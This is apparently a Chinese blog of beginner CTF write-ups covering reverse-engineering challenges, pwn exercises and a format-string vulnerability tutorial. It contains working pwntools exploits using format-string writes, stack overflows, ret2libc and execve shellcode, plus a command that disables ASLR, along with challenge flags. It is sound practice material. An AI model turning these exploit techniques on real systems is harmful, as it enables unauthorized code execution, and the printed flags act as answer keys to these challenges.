asc_6020C0的数据提取出来,我直接按照反汇编的结果写的脚本如下:

offset=[36,00,00,00,00,00,00,00,5,00,00,00,54,00,00,00,
        101,00,00,00,7,00,00,00,39,00,00,00,38,00,00,00,
        45,00,00,00,1,00,00,00,3,00,00,00,00,00,00,00,
        13,00,00,00,86,00,00,00,1,00,00,00,3,00,00,00,
        101,00,00,00,3,00,00,00,45,00,00,00,22,00,00,00,
        2,00,00,00,21,00,00,00,3,00,00,00,101,00,00,00,
        00,00,00,00,41,00,00,00,68,00,00,00,68,00,00,00,
        1,00,00,00,68,00,00,00,43] #这是最后字符串的偏移量 注意刚提取出来的时候数都是16进制的,我改成了10进制

str = 'L3t_ME_T3ll_Y0u_S0m3th1ng_1mp0rtant_A_{FL4G}_W0nt_b3_3X4ctly_th4t_345y_t0_c4ptur3_H0wev3r_1T_w1ll_b3_C00l_1F_Y0u_g0t_1t'

for eax in range(0,31):
    i = offset[eax*4]
    print(str[i], end = "")  #后面的end是让打印不自动换行

#得出结果:   ALEXCTF{W3_L0v3_C_W1th_CL45535}

在这一步我卡了好久,因为我在手动把16进制修改成10进制的时候不小心删了个00,然后卡了半天。后来终于发现少了个00补上了但是补错了位置……导致得出了一个这样的flag:ALEXCTF{W3_L0v3LC_W1th_CL45535}

这完全就是一个flag该有的亚子好吗?然后我就怀着激动的心情提交了,然后,系统告诉我,错了

所以说:

细心真的很重要很重要。

不过,我后来发现,特喵的这不是dd双字字形吗,难怪eax要乘4,难怪那么多的0。就因为漏了个0卡了我好久我去{{tuxue}}{{tuxue}}{{tuxue}}

所以我在写这篇文章的时候才把asc_6020C0的数据用dd表示出来,这样就非常直观简洁了{{xiaoku}}

分析总结

实际上做完再回过头来再看这道题,可以看出这道题其实并不算难,但是这道题花了我很多的时间,我很早就注意到了off_6020A0[asc_6020C0[v15]]这个关键点,但是当时看到asc_6020C0的不知道是干啥的数据时有点懵逼,最后硬是汇编调试了半天才反应过来,然后就没有顾其他的直接按照汇编语言写脚本了。实际上做完题之后一看到++v15,每次只自增1,就明白了数据是双字存放的,如果当时冷静下来再思考一下,应该就能很快把这道题做出来。

这个题让我认识到:1.汇编还得好好学。2.IDA真NB,而我连D键咋用都不知道。不行,IDA PRO权威指南,打开!3.我确实是个菜狗,还得多做题{{liulei}}

crackme

做题实录

IDA看看源码:

1567172093090

根本不知道这是什么玩意儿,看来是加了壳,PEiD看一下有什么。

1567172218601

可以看到壳是nSPack 3.7,那么就先用UnPackNsPack3.7脱壳,脱完壳之后再分析:

1567172355880

可以看到就是简单的算法逆向,关键语句是第15句,我们看看Notflag和arg(名字我改过了):

1567172454937

可以看到Notflag是字符串,arg是一个数组,那么就写个脚本跑出来就行了:

notflag = 'this_is_not_flag'
arg = ['12', '4', '8', '14', '24', '5C', '4A', '3D', '56', '0A', '10', '67', '0', '41', '0', '1', '46', '5A', '44', '42', '6E',
    ¦  '0C', '44', '72', '0C', '0D', '40', '3E', '4B', '5F', '2', '1', '4C', '5E', '5B', '17', '6E', '0C', '16', '68', '5B', '12']

arg2 = []
for i in range(len(arg)):
    arg2.append(int(str('0x') + arg[i],16))
print(arg2)

flag = ''
for i in range(len(arg2)):
   flag += chr(arg2[i] ^  ord(notflag[i % 16]))  
print(flag)
#得出结果:flag{59b8ed8f-af22-11e7-bb4a-3cf862d1ee75}

分析总结

实际上我认为这道题的难点在于脱壳,我直接用了大佬的工具,具体脱壳流程我还不会,还需要继续学习。

大佬的工具参见这篇文章《[原创]NsPack 3.7 浅析 (7.3更新脱壳机和源码)》

攻防世界pwn新手训练

[toc]

[begin]小[/begin]白刚开始接触pwn,做点新手训练了解一下pwn是干啥的。一开始啥漏洞都不知道,很多都是看别人的wp才知道要干嘛,比如才知道原来printf函数也是有漏洞的。 把这些题的思路和做法记录下来,不然我这鱼的记忆肯定过几天就又忘了{{xiaoku}}

get_shell

题目描述:运行就能拿到shell呢,真的

如题,nc连接,连接直接就是shell,直接cat flag就可以了。

CGfsb

题目描述:菜鸡面对着pringf发愁,他不知道prinf除了输出还有什么作用

首先看源码:

1566380481224

可以看到第23行有个printf,那么就可以知道这个题考查格式化字符串漏洞,关于这个漏洞可以看我的这篇文章《一篇文章搞懂格式化字符串漏洞》

源码要求pwnme为8,那么就是要我们修改pwnme的值为8,看pwnme的位置:

1566380588578

pwnme在_bss端,说明它是一个全局变量,那我们要修改它,就要利用格式化字符串漏洞中的%n,所以首先找偏移量。

1566380741629

61616161就是我们要找的(a的十六进制ASCII码),可以看到偏移量是10。

我们的思路就是把这个地方改成pwnme的地址(0x0804A068),然后用%n对pwnme赋值为8(printf输出8个字符)。

构造exp:

from pwn import *


p = remote('111.198.29.45', 39132)
payload = p32(0x0804A068) + 'aaaa%10$n' #注意payload的顺序不能变
p.recvuntil('please tell me your name:\n')
p.sendline('aaaa')
p.recvuntil('leave your message please:\n')
p.sendline(payload)
print(p.recv())
print(p.recv())

得到flag:

1566381839784

when_did_you_born

题目描述:只要知道你的年龄就能获得flag,但菜鸡发现无论如何输入都不正确,怎么办

首先分析源码:

1566381977264

这是个栈溢出的题,主要是要让v5的值为1926,我们可以利用的值是v4,看一下这两个值的位置:

1566385355677

我们可以看到v4占了8个字节,下面就是v5,所以我们要让v4溢出来修改v5为1926。

构造exp:

from pwn import *


p = remote('111.198.29.45', 58195)
payload = 'a'*8 + p64(1926)
p.recvuntil("What's Your Birth?\n")
p.sendline("1999")
p.recvuntil("What's Your Name?\n")
p.sendline(payload)
print(p.recv())
print(p.recv())

得到flag:

1566386193917

hello_pwn

题目描述:pwn!,segment fault!菜鸡陷入了深思

分析源码:

1566386933204

第9行执行的就是cat flag,所以我们就要dword_60106C为1853186401,我们可以修改的是unk_601068,看一下它们的位置:

1566387092548

和上一题一样这也是个栈溢出,直接写exp了:

from pwn import *


p = remote('111.198.29.45', 49767)
payload = 'aaaa' + p64(1853186401)
p.recvuntil('lets get helloworld for bof\n')
p.sendline(payload)
p.interactive()

得到flag:

1566387363510

level0

题目描述:菜鸡了解了什么是溢出,他相信自己能得到shell

先看源码:

1566387434974

main函数没什么好看的,看vulnerable_function():

1566387511798

好像没啥啊,但这时候我注意到其他的函数:

1566387903715

看到了一个callsystem函数,地址为0x400596。看一看:

1566387945520

哦吼,要是能让程序执行这个函数,那就很不错了。

所以我们要在函数调用返回的时候修改eip,进行rop攻击。

看一下buf的位置,顺便看一下函数返回的位置,ida告诉我们r代表的就是return address:

1566388464692

1566388494019

可以看到buf和r之间偏移量为0x88。

exp如下:

from pwn import *


p = remote('111.198.29.45', 59164)
payload = 'a' * 0x88 + p64(0x400596)
p.recvuntil("Hello, World\n")
p.sendline(payload)
p.interactive()

获取到shell,得到flag:

1566388809423

level2

题目描述:菜鸡请教大神如何获得flag,大神告诉他‘使用`面向返回的编程`(ROP)就可以了’

先看源码:

1566389051208

和上一题一样,主函数还是啥都没有,看别的函数:

1566389080262

这次我们看到有程序中直接就有系统调用的函数system(),那如果里面的参数是“/bin/sh”就好了,找一下程序中有没有我们想要的“/bin/sh”。搜索方式为IDA里依次点击Search -> text -> 输入你要搜索的字符串 -> ok

1566389357722

找到了,那么我们思路是把函数返回的地址改为上一行的system(),地址为0x0804845c,再把参数变成我们需要的“/bin/sh”。

看一下偏移量:

1566390216756

1566390240220

buf到r的距离是0x88+4。

写exp:

from pwn import *


p = remote('111.198.29.45', 38299)
payload = 'a' * (0x88 + 4) + p32(0x0804845c) + p32(0x0804A024)
#也可以直接找system函数的位置:
#e = ELF('../files/level2')
#payload = 'a' * (0x88 + 4) + p32(e.symbols['system']) + 'a' * 4 +  p32(0x0804A024)
p.recvuntil("Input:\n")
p.sendline(payload)
p.interactive()

拿到shell,得到flag:

1566389962549

guess_num

题目描述:菜鸡在玩一个猜数字的游戏,但他无论如何都银不了,你能帮助他么

先看源码:

1566390387211

发现要猜对十次数字就可以拿到flag(sub_C3E就是cat flag)。而数字是随机数。这里有一个小知识点,实际上所谓的“随机”是“伪随机”,是根据一个数(我们可以称它为种子,也就是代码中的seed)为基准以某个递推公式推算出来的一系列数。所以说只要知道了seed,那么生成的数我们也就能知道了。

因此,思路是要能知道seed的值,我们看第19行的seed是什么:

1566390734126

看来我们是不可能知道seed是什么了,那就只能我们自己修改seed,同样是栈溢出,我们可以控制的是v9,看一下v9:

1566390934659

v9就是var_30,我们可以看到偏移量为0x20。所以我们修改seed的值,然后我们就知道了每次的数是什么,猜对10次得到flag。

写exp:

from pwn import *
from ctypes import *

p = remote('111.198.29.45', 41331)
payload = 'a' * 0x20 + p64(1)
c = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
c.srand(1)
p.recvuntil('name:') #注意如果输出的方法是printf,那么如果源码中没有\n那就不要在exp中写成name:\n,否则会出现问题
p.sendline(payload)
for i in range(10):
    p.recvuntil("number:") 
    p.sendline(str(c.rand() % 6 + 1))
p.interactive()

得到flag:

1566392280703

cgpwn2

题目描述:菜鸡认为自己需要一个字符串

首先分析源码:

1566450714306

啥也没有,看一下hello函数:

1566450755009

用户可以控制的是name和s,这应该也是栈溢出。观察到程序中有个pwn函数(pwn中的system地址是0x804855A),看一下:

1566450870135

参数不是/bin/sh,找了一下程序里也没有。

看一下name,发现是全局变量:

1566452807866

那就是把name变成/bin/sh然后直接传到system函数里。

exp如下:

from pwn import *


p = remote('111.198.29.45', 55008)
payload = 'a' * (0x26 + 4) + p32(0x804855A) + p32(0x0804A080)
#或者直接找system函数的位置
#e = ELF('../files/cgpwn2')
#payload = 'a' * (0x26 + 4) + p32(e.symbols['system']) + 'a' * 4 + p32(0x0804A080)
p.recvuntil('name\n')
p.sendline('/bin/sh\x00')
p.recvuntil('here:\n')
p.sendline(payload)
p.interactive()

取得shell,得到flag:

1566450036179

string

题目描述:菜鸡遇到了Dragon,有一位巫师可以帮助他逃离危险,但似乎需要一些要求

先看主函数:

1566824006101

sub_400D72:

1566824068004

sub_400BB9:

1566824117464

sub_400CA6:

1566824219571

我们分析源码,首先看到sub_400CA6的第17行,

void (__fastcall *)(_QWORD, void *))v1)(0LL, v1);

记住只要看见这种句子,就知道是把v1强制转化成一个函数指针,然后调用这个函数,那么我们就可以利用前面的read,把我们想执行的命令(shellcode)写入v1中,程序就可以执行我们的shellcode。

那么想要能输入v1,我们就要让第12句的if语句成真,也就是*a1 == a1[1]。

往上看发现a1是函数传入的参数,再往回看,一直追溯到主函数,发现这个a1实际上是v4,而v4和v3相等,也就是说现在*a1是68,a1[1]是85,我们的目标变成要让*a1为85。

再看到sub_400BB9,发现在第23行存在格式化字符串漏洞,那么就很明确了,用%n赋值。那么*a1的地址是多少呢?发现secret就是*a1的地址。

所以攻击思路如下:

通过格式化字符串漏洞赋值*a1为85,使if条件成真,执行我们传入的shellcode拿到shell。

构造exp:

from pwn import *


p = remote('111.198.29.45', 40437)
p.recvuntil('secret[0] is ')
addr = int(p.recvuntil('\n'), 16)
p.sendlineafter('be\n', 'aaaaa')
p.sendlineafter('up\n', 'east')
p.sendlineafter('leave(0)?:\n', '1')
p.sendlineafter("address'\n", str(addr))
p.sendlineafter("is:\n", "%85c%7$n")
shellcode= "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
p.sendlineafter("SPELL\n", shellcode)
p.interactive()

int_overflow

题目描述:菜鸡感觉这题似乎没有办法溢出,真的么?

先看一下保护情况:

1566894632726

看主函数:

1566894664678

没什么东西,看login():

1566894731151

好像也没啥东西,接着看check_passwd():

1566894783263

strlen存在溢出漏洞,因为32位程序中strlen把结果放在al中,而al是八位的,所以能存的最大值为255(1111 1111),如果超过255,就会导致整形溢出。例如261(1 0000 0101‬)最终输出的结果就是(0000 0101)。

接着看程序,发现有一个what_is_this函数:

1566895048032

那么就是要通过strlen构造栈溢出让程序返回到这个函数,但是要求输入的s长度在(3,8]之间。所以通过整数溢出来越过这个限制。

看一下s在内存中的位置:

1566896638685

构造exp如下:

from pwn import *


p = remote('111.198.29.45', 32379)
payload = 'a' * 0x18 + p32(0x0804868B)
payload += 'a' * (261-int(len(payload)))
p.sendlineafter('choice:', '1')
p.recvuntil("username:\n")
p.sendline('aaaa')
p.recvuntil('passwd:\n')
p.sendline(payload)
print(p.recv())
print(p.recv())

得到flag:

1566896884187

level3

题目描述:libc!libc!这次没有system,你能帮菜鸡解决这个难题么?

先看源码:

1567078058878

1567078099146

首先想到read构造栈溢出返回system地址,参数传入“/bin/sh”地址。但是程序中没有system和/bin/sh。

虽然程序中没有直接给出,但是我们可以通过return2libc攻击间接得到。因为几乎所有程序都会运行libc库函数,而libc库中就有system和/bin/sh,libc库中的函数之间的偏移量都是固定的,只要知道了当前程序运行的libc版本和一个libc函数运行时在内存中的绝对地址(例如read或write),就可以推出system和/bin/sh的地址,也就可以通过栈溢出返回到system的地址。

那么read或write的绝对地址是啥?为啥地址不是固定的?可以看看这篇文章:《聊聊Linux动态链接中的PLT和GOT(1)——何谓PLT与GOT》,大佬写的非常清楚。

所以攻击思路就是先利用程序的write函数输出read运行时候的绝对地址,再通过read找出libc的版本,然后根据偏移量找出system和/bin/sh的地址,再调用vulnerable_function进行栈溢出返回system()。

exp如下:

from pwn import *
from LibcSearcher import *


p = remote('111.198.29.45', 51525)
e = ELF('../files/level3')

read_got = e.got['read']
write_plt = e.plt['write']
vuln = e.symbols['vulnerable_function']

#通过write回显read在内存中的绝对地址
#vuln为后面重新返回到vuln函数进行栈溢出做准备。
#函数调用顺序:func1_addr+func2_addr+...+func1_para+func2_para+...
payload1 = 'a' * (0x88 + 4) + p32(write_plt) + p32(vuln) + p32(1) + p32(read_got) + p32(4)

p.recv()
p.sendline(payload1)
read_leak = u32(p.recv())

#通过read的绝对地址查询libc版本,得到system和/bin/sh的地址
libc = LibcSearcher('read',read_leak)
libc_base = read_leak - libc.dump('read')
sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

payload2 = 'a' * (0x88 + 4) + p32(sys_addr) + p32(4) + p32(bin_sh)

p.recv()
p.sendline(payload2)
p.interactive()

运行exp,如图,由于程序不确定libc版本,需要手动选择,这里我们选择libc版本选0(我也不知道选啥所以选第一个),得到shell,取得flag。

1567087020922

一篇文章搞懂格式化字符串漏洞

[toc]

0x00 序言

[begin]刚[/begin]学pwn,做了两道攻防世界的pwn新手训练,真的是啥也不会,第一道题是连上就有flag我都不知道咋连,就菜到这种地步。一个格式化字符串漏洞看了一天。看了很多博客,最后终于弄明白了,感觉很多博客都对新手不是那么友好,刚学完,总结梳理一下,便于复习。也希望自己写的能帮到其他像我一样刚开始学的小白更快更清楚的明白格式化字符串漏洞。

0x01 格式化字符串

格式化字符串漏洞针对的是printf()函数,所以有必要先深入了解一下printf()函数和什么是格式化字符串。

首先让我们来看一下格式化字符串。

学过C的都知道printf(),在输出某个变量的时候我们一般会这样写:

int a = 100;
printf("%d",a);
// 100

这里的%d,实际上就是所谓的格式化字符串,维基百科是这样定义的:

格式化字符串(英语:format string),是一些程序设计语言在格式化输出API函数中用于指定输出参数的格式与相对位置的字符串参数,例如C、C++等程序设计语言的printf类函数,其中的转换说明(conversion specification)用于把随后对应的0个或多个函数参数转换为相应的格式输出;格式化字符串中转换说明以外的其它字符原样输出。

在我理解,就是你规定要输出的字符串的格式和位置,比如%d就是十进制整数格式,%s就是字符串格式,%x就是十六进制数格式等等。

再比如:

printf("Hello, %s", "Winny");
// Hello, Winny

%s告诉程序:“你应该在‘Hello, ’后面按照字符串格式来输出这个参数!”然后程序就乖乖的按照格式化字符串的要求输出了这个参数。这就是格式化字符串的作用。

比较常见和基本的格式化字符串有这么几个:

字符描述
%d输出10进制整数
%c输出字符
%s输出内存中的字符串,内存中存的是字符串所在的地址
%x输出十六进制数据
%p输出十六进制数据,区别是有前缀“0x”,实际上就是输出个指针,所以32位输出4字节,64位输出8字节
%n将printf已经打印的字符个数赋值给指定的内存地址中

实际上,这只是最简单的用法,格式化占位符的语法是:

%[parameter][flags][field width][.precision][length]type

d、c、s、x、p、n这些都是type。flags、field width、.precision、length这些不是很重要,这里就不说了。有兴趣可以在维基百科上看,这里说一下parameter。

Parameter可以忽略,也可以是:

字符描述
n$输出第n个参数

比如看下面的代码:

printf("the third is %3d, the first is %1d",1,2,3,4,5,6);
// the third is 3, the first is 1

可以看到,程序输出了第三个和第一个参数。至于n$有什么用,后面就会讲到。

回到上面的格式化字符串,最后的%n可能有的人看完描述觉得有点蒙,咱来举个栗子。在看代码之前,先插播一下,由于这个漏洞windows好像是有保护机制的,所以为了演示我所有的代码都在ubuntu上运行,同时编译时候按32位编译(我的ubuntu是64位的)。

编译命令为:

gcc -m32 test.c -o test

其中-m32就是按32位编译,要想在ubuntu上用-m32,先安装以下的库:

sudo apt-get install build-essential module-assistant
sudo apt-get install gcc-multilib g++-multilib

运行编译好的文件就在当前文件夹下输入以下命令:

./test

好,知道了如何在linux系统下编译运行文件,看下面的代码:

#include <stdio.h>

void main()
{
    int s = 0;
    printf("The value of s is %n",&s);
    printf("%d\n",s);
}
// The value of s is 18

你会发现s被赋值为了18,因为printf在%n之前已经输出了18个字符:“The value of s is ”(包括空格)然后%n就把18写入了s所在的地址对应的内容,也就是赋给了s。

现在你应该比刚才清楚一点%n的用法了吧。事实上,如果你敏感,你就会发现通过%n,我们修改了本来不能修改的内存的内容!这是极其危险的一件事!这也是漏洞修改内存值的核心!具体的使用会在漏洞部分详细介绍。

0x02 printf()函数

现在我们知道了格式化字符串,再来了解一下printf()。

printf()是C语言中为数不多的支持可变参数的库函数。就是说你想给printf()传几个参数都可以。根据规定,函数在调用的过程中,传入函数的参数从右到左逐个压入栈中。例如:

print("%d %d %d",1,2,3);
// 1 2 3

反汇编看的更直观一点:

push    3
push    2
push    1
lea     edx, (aDDD - 1FD8h)[eax] ; "%d,%d,%d"
push    edx             ; format
mov     ebx, eax
call    _printf

在这个例子中,我们制定了参数的数量为3和类型为十进制整数,那么printf()就会在栈中向前找三个值并按照十进制整数的形式输出出来。

还是这个例子,只不过我稍微改变一点:

print("%d %d %d",1,2,3,4,5);
// 1 2 3

反汇编看一下:

push    5
push    4
push    3
push    2
push    1
lea     edx, (aDDD - 1FD8h)[eax] ; "%d,%d,%d"
push    edx             ; format
mov     ebx, eax
call    _printf

函数将五个参数都压入了栈中,但是按照format的指示只按照十进制整数的格式打印了前三个参数。

可以看到,对于可变参数的函数,printf()本身并不知道传入参数的数量,也不知道在函数调用前到底有多少参数被压入栈中,所以它要求传入一个format来告诉它有几个参数,你有几个格式化字符串,printf()就认为你传入了几个参数。并忠实的按照format的指示,以指定的格式在指定位置打印指定数量的参数。

这就存在一个问题了。假如我们给printf()实际传递的参数数量小于我们所给的format怎么办?例如:

printf("%d,%d,%d\n",1,2);

这时候我们告诉printf():“我给你传递了三个参数,请把这三个参数安装十进制整数的形式打印出来!”而实际上,我们只给printf()两个参数,那这时候会发生什么呢?先自己思考一下,再往下看。

运行结果如下:

1566005116498

可以看到除了我们输入的参数1、2以外,printf()还打印出了一个值,这个值是什么呢?这个值就是栈上在保存的我们两个参数之后的第三个值,由于我们告诉printf()我们传了三个参数,所以它就会在栈上向前找三个值。也就是说,通过这种方式,我们可以读取本来不应该被读取到的内存的内容。

再来看一个例子:

printf("%x %x %x %x %x %x %x %x %x %x\n");

1566005556194

可以看到printf()将栈中format后10个内存的内容都以十六进制的形式打印了出来。

0x03 格式化字符串漏洞利用

有了上面的前期储备,我们就可以来聊聊格式化字符串漏洞的利用了。实际上,这个漏洞的产生可以说是因为程序员的偷懒。比如下面这个简单的程序:

char str[100];
scanf("%s",str);
printf("%s\n",str);

1566006155661

这样写是没有问题的。但是有的时候程序员会偷懒,写成这样:

char str[100];
scanf("%s",str);
printf(str);

没有format,但是程序也能正常运行。

1566006274630

但是这时候由于没有format,printf()实际上并不知道传入了几个参数,那么如果我们输入:aaa.%x会发生什么呢?

1566006429774

我们发现,printf()打印出来了本来不应该被打印出来的内存中的值。

这样一来,通过这个漏洞,我们可以实现任意内存的读和写。

任意内存读取

还是上面这个程序,我们可以用很多个格式化字符串来读取很多个内存地址的内容

1566023620247

也可以通过之前说的n$来读取特定偏移量的内存,比如说我想读取第六个内存中的内容,就可以这样构造:

1566023730070

现在我们就读取到了栈中第六个内存地址中的内容。实际上41就是A的十六进制ASCII码,这个地址中存的就是我们输入的“AAAA”(注意,并不是说printf()一直会把输入的内容存到偏移量为6的内存中,只是在这里是如此,具体存到偏移量为几的内存中需要我们自己通过构造很多个%x去找)。

通过%x可以读取内存中的值,通过%s可以读取以内存中的值为地址的字符串。

比如上面如果你用%s,你就会读取0x41414141为首地址上对应的字符串(如果有的话),如果该地址上没有,就会报段错误Segmentation fault。

1566024610292

这实际上是因为访问了不可访问的内存。例如该内存已经超过了系统所给这个程序的内存空间。我们要访问0x41414141,结果这个程序根本没有这个地址,那当然会报错啦。或者是这个内存是受系统保护的,我们不能访问。

我们再举一个%s的例子,在开始实验前,首先你要确保关闭了linux的内存地址随机化机制,否则每次运行程序,数据的地址都不一样,无法进行实验。关闭方法:

echo 0 > /proc/sys/kernel/randomize_va_space

关闭了之后就可以愉快的开始我们的实验了。我们看这个程序:

#include <stdio.h>
#include <string.h>

void main(int argc,char **argv)
{
        char str[100];
        char s[10]="hello pwn!";
        printf("%x\n",&s);
        strcpy(str,argv[1]);
        printf(str);
}

这里没有输出s的内容,如果我们想看到s的内容,那我们就可以通过格式化字符串漏洞达到目的。

攻击思路:首先我们看看“hello pwn!”所在的地址是什么,然后我们通过构造输入把这个地址存到内存中,再通过%s来读取“hello pwn!”。

构造地址可以通过输入字符串,让内存中存字符串对应的ASCII码这种方法来构造,比如如果要让内存中的值为44434241我们就可以输入ABCD(A的十六进制ASCII码为41,在内存中以十六进制存储且为小端序存储,所以41在最右边)。

但是如果地址像ff1b6800这样,那么我们就没法通过这种方式进行构造,因为我们很难找到该ASCII码对应的字符串并输入。这时候我们就要用到printf命令,将shellcode转义(直接输入\x00\x68\x1b\xff这样)。使用的时候把printf命令用反引号括起来。但是注意如果是用scanf输入字符串,则没法使用printf命令,而且scanf和命令行输入的shellcode没法被直接转义。因此,我们给的例子是使用strcpy赋值。

那么我们开始构造输入:

1566029291179

通过构造输入,我们成功改变了内存为ffffd4fe(偏移量是14)。

注意:这个程序没写好,如果输入参数个数不同,s的地址也会变化,比如我输入”`printf “\xfe\xd4\xff\xff”`.%x”时输出的就不是ffffd4fe而是ffffd52e。所以传入的参数数量需要固定,这一点需要注意。实际上,把s设置成静态的(在s前加static)就可以解决问题。下一个例子就改正这个问题。{{xiaoku}}

现在我们已经可以把偏移量为12的内存中的值变成s所对应的内存地址,那么我们把最后一个改成%s,即输出该内存值对应的地址中的字符串。

1566029414006

可以看到我们成功的读取出了s的内容。

任意内存修改

光读取还不够,最重要的是我们可以任意的对内存进行修改,这才是这个漏洞最可怕的地方。修改的方法其实上面已经说到一些了,那就是通过%n。

看一个例子:

#include <stdio.h>
#include <string.h>

void main(int argc,char **argv)
{
        char str[100];
        static int a = 0;
        printf("%x\n",&a);
        strcpy(str,argv[1]);
        printf(str);
        printf("\n%d\n",a);
}

我们的目标是修改a的值。先运行一下看看正常情况下是什么情况

1566032185561

可以看到a为初始值0,那么下面开始构造:

1566032317311

可以看到偏移量为10,把最后的换成%n

1566032384441

可以看到我们成功的改变了a的值,86是因为\x0c占一个字符,所以四个数有四个字符,“.”占一个字符,%x占8个字符,一共10个“.”,9个%x,最终加起来在%n前面一共输出了86个字符,所以是86。

如果要用n$的话,记得要在前面加反斜杠\转义:

1566033484942

最后在附上一个我自己写的小脚本,用来构造地址的,比如说要构造41414141,那么你需要输入的字符串就是AAAA。这个小脚本就是告诉你需要输入的字符串是什么,只需要你填入要构造的地址就行了。(如果ASCII码比较奇怪的可能就不行了,比如ASCII码是0x0B什么的)

'''
Author: Winny
Date: 2019.08.16
'''


def pocstr(addr):
    frag = []
    for j in range(0, len(addr), 2):
        frag.append(int(str('0x') + addr[j:j+2], 16))
    frag = frag[::-1]
    for s in range(len(frag)):
        print(chr(frag[s]), end='')


pocstr('41414141')
#输出结果:AAAA

攻防世界逆向新手训练

[toc]

[begin]本[/begin]来是搞Web的(虽然菜的抠脚),但是战队缺reverse和pwn的人,正好自己对这方面也很有兴趣,于是就转了方向。刚学几天,先做上几道攻防世界的新手训练题。把自己做题的过程和学到的知识记录下来。由于我在做的过程中很多时候都是瞎试试出来的,所以记录的时候分成两部分,第一部分是【做题实录】,就是我做题的真实思考过程,flag可能是瞎猜猜出来的,有很多的运气成分在。第二部分是【分析总结】,是我在网上查阅大佬的“正确做法”,即通过分析和思考,用正统做法得出flag。分析总结中我会把我复现的写出来。由于我实在是逆向小白,可能大部分都是靠运气做出来的,大佬勿喷,估计以后再回头看自己的解法自己都要笑死了。

re1

题目描述:菜鸡开始学习逆向工程,首先是最简单的题目

做题实录

双击点开,让我输入flag

1565360175669

随便输一个:

1565360208916

看样子是要比较字符串的,放到OD里面看看,找到了比较字符串的地方,下断点

1565360371101

随便输入什么字符之后继续往下走,发现flag已经进入到了ESP中

1565360501795

分析总结

这个题非常简单,没什么好说的,其实放到OD里还可以直接搜索字符串,一步到位……

1565360834492

当然了,还可以用IDA直接看源码

1565361318963

看到strcmp()函数,输入的是v9,和v5比较,所以数据就应该在v5里面,再看第10行,把xmmword_413E34的值赋给v5,所以双击xmmword_413E34看它的数据。把qword_413E44xmmword_413E34的数据拼起来

1565361586179

你可以把qword_413E44xmmword_413E34的数据拼起来用python把16进制的数转化成文本然后反向写出flag就可以了。

print ('7D4654435455443074656D30633165577B465443545544'.decode('hex'))
# 解码结果:   }FTCTUD0tem0c1eW{FTCTUD

或者光标点击xmmword的数据,按下a键,

1565362998384

确认就可以直接把它转化成字符串。(我也是后来才知道的,看来ida还是要好好学)

1565363024355

game

题目描述:菜鸡最近迷上了玩游戏,但它总是赢不了,你可以帮他获胜吗

做题实录

一个exe文件,打开如下:

1565417874449

让你玩游戏,赢了就有flag,于是玩三个小时玩通关拿到flag。放到OD里动态调试

一路走到这里让你输入n,估计接下来就是字符串比较了,随便输一个继续调试

1565418367023

这部分一整段都在判断灯的情况,调试的过程中发现只要判断出灯没有全亮,就会跳转回003EF4FB,没有进入game.003E7AB4,所以猜测是成功了就进入这里,于是进去看看

1565418838983

进来之后,果不其然,是成功的函数

1565419406338

接下来就运行这个函数,就可以得到flag

1565419538116

分析总结

这个题还是比较简单的,没啥好说的。再用IDA来试一下

1565419925277

进入main_0()函数,看到判断语句,逻辑很简单

1565419996445

进入sub_457AB4()

1565420082978

这个程序就疯狂跳转,不知道要干啥

进去之后就是这样

1565420136904

可以直接写个脚本跑,在这里我选择改程序的逻辑,让它跳过判断直接执行这个函数

1565420760854

这一部分就是判断语句,只要把cmp edx, 1改成cmp edx edx那么条件就恒为真。

特别注意的是:cmp edx, 1占3个字节而cmp edx edx占两个字节,所以最后一个字节用nop填充。否则会出错

修改后如下:

1565423173098

保存之后双击运行,随便输入一个n,就可以得出flag

1565423246933

Hello,CTF

题目描述:菜鸡发现Flag似乎并不一定是明文比较的

做题实录

一个exe,运行结果如下:

1567821831010

要找序列号,IDA看一下:

1567822212906

看来flag就是这个绿色的字符串了,看到有字母有数字且字母不超过f,所以16进制解码试一下,得到flag:

CrackMeJustForFun

分析总结

这个题比较简单,我开始是用动态调试做的,都差不多,只要看到这个字符串基本上就可以解决了。

open-source

题目描述:菜鸡学逆向学得头皮发麻,终于它拿到了一段源代码

做题实录

源代码如下:

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {
    if (argc != 4) {
        printf("what?\n");
        exit(1);
    }

    unsigned int first = atoi(argv[1]);
    if (first != 0xcafe) {
        printf("you are wrong, sorry.\n");
        exit(2);
    }

    unsigned int second = atoi(argv[2]);
    if (second % 5 == 3 || second % 17 != 8) {
        printf("ha, you won't get it!\n");
        exit(3);
    }

    if (strcmp("h4cky0u", argv[3])) {
        printf("so close, dude!\n");
        exit(4);
    }

    printf("Brr wrrr grr\n");

    unsigned int hash = first * 31337 + (second % 17) * 11 + strlen(argv[3]) - 1615810207;

    printf("Get your key: ");
    printf("%x\n", hash);
    return 0;
}

看到就是要输入规定的参数运行就可以了,注意这个参数要在命令行中输入。第一个参数直接跑个脚本:

print(str(0xcafe))
#51966

第二个参数最小的是25,第三个参数h4cky0u

编译之后cmd运行,得到flag:

1567823954737

分析总结

分析源码,没啥可说的。

simple-unpack

题目描述:菜鸡拿到了一个被加壳的二进制文件

做题实录

UltraEdit打开看一下,搜索flag:

1567824208589

去掉中间的乱码,得到flag:

flag{Upx_1s_n0t_a_d3liv3r_c0mp4ny}

分析总结

直接查找确实是歪门邪道,毕竟这题是关于加壳的,所以UE看一下:

1567824854437

看到这是个upx的壳,那直接用upx脱壳就行了:

1567825480287

脱完壳查找flag即可:

1567825781968

logmein

题目描述:菜鸡开始接触一些基本的算法逆向了

做题实录

IDA里看一下:

1567827148274

第26行就是加密算法,写个解密算法就行了:

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

void main()
{
    int v6;
    int v9;
    long long v7;
    int i;

    v9 = 0;
    char * str = ":\"AL_RT^L*.?+6/46";
    v7 = 28537194573619560LL;
    v6 = 7;

    for ( i = 0;i < 17; ++i )
    {
        printf("%c",*((char*)&v7 + i % v6)^str[i]);
    }

}
//  RC3-2016-XORISGUD

分析总结

这个题就是简单的算法逆向,没啥可说的。

insanity

题目描述:菜鸡觉得前面的题目太难了,来个简单的缓一下

做题实录

IDA打开,查找flag,得到flag:

1567827487075

分析总结

实际上这个题就直接运行,等上几秒它会随机给你输出一些字符串,我第一次运行就直接得到了flag……

1567827754608

no-strings-attached

